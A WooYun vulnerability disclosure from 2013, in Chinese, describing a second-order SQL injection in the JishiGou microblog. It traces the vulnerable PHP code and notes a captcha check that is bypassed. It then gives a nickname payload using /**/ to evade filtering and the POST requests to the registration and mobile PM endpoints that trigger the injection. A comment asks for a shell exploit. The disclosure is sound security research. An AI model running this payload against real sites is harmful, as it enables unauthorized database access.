当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043394

漏洞标题:记事狗微博二次注射漏洞

相关厂商:杭州神话

漏洞作者: Chora

提交时间:2013-11-19 22:57

修复时间:2014-02-17 22:57

公开时间:2014-02-17 22:57

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商已经确认,细节仅向厂商公开
2013-11-24: 细节向第三方安全合作伙伴开放
2014-01-15: 细节向核心白帽子及相关领域专家公开
2014-01-25: 细节向普通白帽子公开
2014-02-04: 细节向实习白帽子公开
2014-02-17: 细节向公众公开

简要描述:

这个漏洞可以写个自动化攻击程序,但是混口饭吃而已,认真你就输了。。。建议贵公司把最新补丁打包到源码安装包里面,不然上次的漏洞有详细利用方法,新用户会受到牵连。
官方下的版本,然后去你们官方博客里找了最新的补丁都打上了。

详细说明:

modules/member.mod.php

function DoRegister()
{
......
/**
* 验证码检查
* 如果开启了注册验证码检查,就校验
*/
if ($this->Config['seccode_enable']>1 && $this->Config['seccode_register'] && $this->yxm_title && $this->Config['seccode_pub_key'] && $this->Config['seccode_pri_key']) {
//我们可以看到用了&&而不是||,所以在这个页面注册根本不需要注册码,导致了自动化攻击的实现。
$YinXiangMa_response=jlogic('seccode')->CheckYXM(@$_POST['add_YinXiangMa_challenge'],@$_POST['add_YXM_level'][0],@$_POST['add_YXM_input_result']);
if($YinXiangMa_response != "true"){
$this->Messager("验证码输入错误",-1);
}
}
/* 邀请处理 */
$inviter_member = array();
$invite_code = ($this->Post['invite_code'] ? $this->Post['invite_code'] : $this->Get['invite_code']);
$check_result = jsg_member_register_check_invite($invite_code);
if($regstatus['invite_enable'] && !$regstatus['normal_enable'])
{
if(!$invite_code)
{
$this->Messager("本站目前需要有好友邀请链接才能注册。<br><br>看看<a href=\"?mod=topic&code=top\">达人榜</a>中有没有你认识的人,让他给你发一个好友邀请。", null);
}
if(!$check_result)
{
$this->Messager("对不起,您访问的邀请链接不正确或者因邀请数已满而失效,请重新与邀请人索取链接。", null);
}
}
if($check_result['uid'] > 0)
{
$inviter_member = jsg_member_info($check_result['uid']);
}
if(!$inviter_member && $this->Config['register_invite_input'])
{
$inviter_member = jsg_member_info($this->Post['inviter_nickname'], 'nickname');
}
/* 接收变量 */
$password = $this->Post['password'];
$email = $this->Post['email'];
$username = $nickname = $this->Post['nickname'];
/* 密码过滤 */
if(strlen($password) < 5) {
$this->Messager("密码过短,请设置至少5位",-1);
}
if($password != $this->Post['password2']) {
$this->Messager("两次输入的密码不相同",-1);
}
if($GLOBALS['_J']['plugins']['func']['reg']) {
hookscript('reg', 'funcs', array('param' => $this->Post, 'step' => 'check'), 'reg');
}
/* 进行注册 */
$uid = jsg_member_register($nickname, $password, $email);//跟进0x01
......
}


include/class/passport.class.php

function register($nickname, $password, $email, $username = '', $ucuid = 0, $role_id = 0) {

......
$nickname = trim(strip_tags($nickname));
$jsg_result = $this->checkname($nickname, 1, $ucuid);//跟进
if($jsg_result < 1) {
return $jsg_result;
......
$timestamp = time();
$sql_datas = array();
$sql_datas['ucuid'] = $ucuid;
$sql_datas['salt'] = jsg_member_salt();
$sql_datas['password'] = jsg_member_password($password, $sql_datas['salt']);
$sql_datas['nickname'] = $nickname;
$sql_datas['username'] = ($username ? $username : '');
$sql_datas['email'] = $email;
$sql_datas['role_type'] = 'normal';
$sql_datas['role_id'] = (int) ($GLOBALS['_J']['config']['reg_email_verify'] ? $GLOBALS['_J']['config']['no_verify_email_role_id'] : $GLOBALS['_J']['config']['normal_default_role_id']);
$sql_datas['invitecode']= substr(md5(random(32)),-16);
$sql_datas['regdate'] = $sql_datas['lastactivity'] = $timestamp;
$sql_datas['regip'] = $sql_datas['lastip'] = $ip;
if ($GLOBALS['_J']['config']['extcredits_enable'])
{
$credits = ConfigHandler::get('credits');
foreach ($credits['ext'] as $_k=>$_v)
{
if ($_v['enable'] && $_v['default'])
{
$sql_datas[$_k] = (int) $_v['default'];
}
}
}

DB::query("insert into `" . TABLE_PREFIX . "members` (`" . implode("`,`", array_keys($sql_datas)) . "`) values ('".implode("','",$sql_datas)."')"); //这里入库。
......
}
function checkname($username, $is_nickname = 0, $ucuid = 0, $check_exists = -1) {
$username = trim(strip_tags($username));

$username_len = jstrlen($username);
$ulmax = ($is_nickname && true !== UCENTER ? 50 : 15);//50位足够利用,只要你的语句足够短,所以该例我用了一个回显的注入,而不是盲注,那样就能增加可用数量。
$nickname_length = (int) $GLOBALS['_J']['config']['nickname_length'];
$is_nickname && $ulmax = !$nickname_length ? $ulmax : ($nickname_length >$ulmax ? $ulmax : $nickname_length);
if($username_len < 3 || $username_len > $ulmax)
{
return -1;
}
if($ucuid < 1)
{
if(is_numeric($username)) {
return -1;
}

if($is_nickname)
{
if(false != preg_match('~[\<\>\?\@\$\#\[\]\{\}\s]+~',$username)) //虽然过滤了空格跟其他字符,但是我们可以提交/**/来绕过。
{
return -1;
}
}
else
{
if((false == preg_match('~^[\w\d\_]+$~',$username)))
{
return -1;
}
}
}
......
}


modules/ajax/pm.mod.php

function send()
{
$uid = intval($this->Post['uid']);
$member = DB::fetch_first("SELECT nickname FROM ".DB::table("members")." WHERE uid='{$uid}'");
if (empty($member)) {
Mobile::error("No User", 300);
}
$to_user = $member['nickname']; //出库
$data = array(
'to_user' => $to_user,
'message' => trim($this->Post['message']),
);
$ret = $this->MyPmLogic->pmSend($data);//跟进0x02
if ($ret == 0) {
Mobile::success("Success");
} else if ($ret == 1) {
Mobile::error("Content not emtpy", 420);
} else if ($ret == 2) {
Mobile::error("Content not emtpy", 321);
} else if (ret == 3) {
Mobile::error("Content not emtpy", 321);
}
Mobile::error("Unkonw error", 250);
}


include/logic/pm.logic.php 0x02

function pmSend($post,$suid=MEMBER_ID,$susername=MEMBER_NAME,$snickname=MEMBER_NICKNAME){
if(jaccess('pm','send', $suid)==false) {
return 6;
}
$to_user_list=array();
$f_rets = filter($post['message']);
if($f_rets)
{
if($f_rets['error'])
{
return $f_rets['msg'];
}
}
$post['subject']=jhtmlspecialchars(trim($post['subject']));
if($post['message']=='')
{
return 1;
}
if ($post['buddy_list']==false && $post['to_user']=="")
{
return 2;
}
if(trim($post['to_user'])!='')
{
$in=$this->DatabaseHandler->BuildIn($post['to_user'],"nickname");

$sql="
SELECT
`uid`,`username`,`nickname`,`notice_pm`,`email`,`email_checked`,`newpm`,`at_new`,`event_new`,`fans_new`,`vote_new`,`qun_new`,`dig_new`,`channel_new`,`comment_new`,`user_notice_time`,`lastactivity`
FROM
".TABLE_PREFIX.'members'."
WHERE
$in";
$query = $this->DatabaseHandler->Query($sql);//引入引号进行注入。
while($row=$query->GetRow())
{
......
}


POST
email=www@wooyun.org&password=12345&password2=12345&nickname=woo

http://localhost/jishigou/index.php?mod=member&code=doregister
先注册一个woo用户,用于回显。
然后POST
email=Chora@wooyun.org&password=12345&password2=12345&nickname=woo')and/**/1=1/**/and('1

http://localhost/jishigou/index.php?mod=member&code=doregister
引入注入语句。
然后访问自己的主页,查看自己的UID。
最后POST
uid=你的UID&message=wooyun

http://localhost/jishigou/mobile/ajax.php?mod=pm&code=send
出发注入。

漏洞证明:

1.png

2.png

3.png

4.png

5.png

6.png

修复方案:

包养不动了。。。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-21 17:13

厂商回复:

非常感谢 Chora@乌云 的反馈,正在修理了。。。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-20 10:24 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    哈哈哈,宝贝,不要生气了。那些不在补丁里说明来源感谢作者的公司都很无良,@xsser 通用型走起!?

  2. 2013-11-20 12:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小胖子 搞起

  3. 2013-12-11 17:56 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    一口气看完了,宝贝,追踪动态参数真是个累人的活,xsser给你发了多少奖金来着?

  4. 2013-12-11 20:04 | Chora ( 普通白帽子 | Rank:337 漏洞数:22 | 生存、生活、生命。)

    @小胖子 大宝贝,这是苦逼干的活啊,只够饭钱啊,哪像你众测搞这么多,还有小姐包。福利好啊求带。

  5. 2013-12-17 00:34 | door ( 路人 | Rank:10 漏洞数:1 | 没什么说明)

    能拿shell?希望帖个最新版拿shell的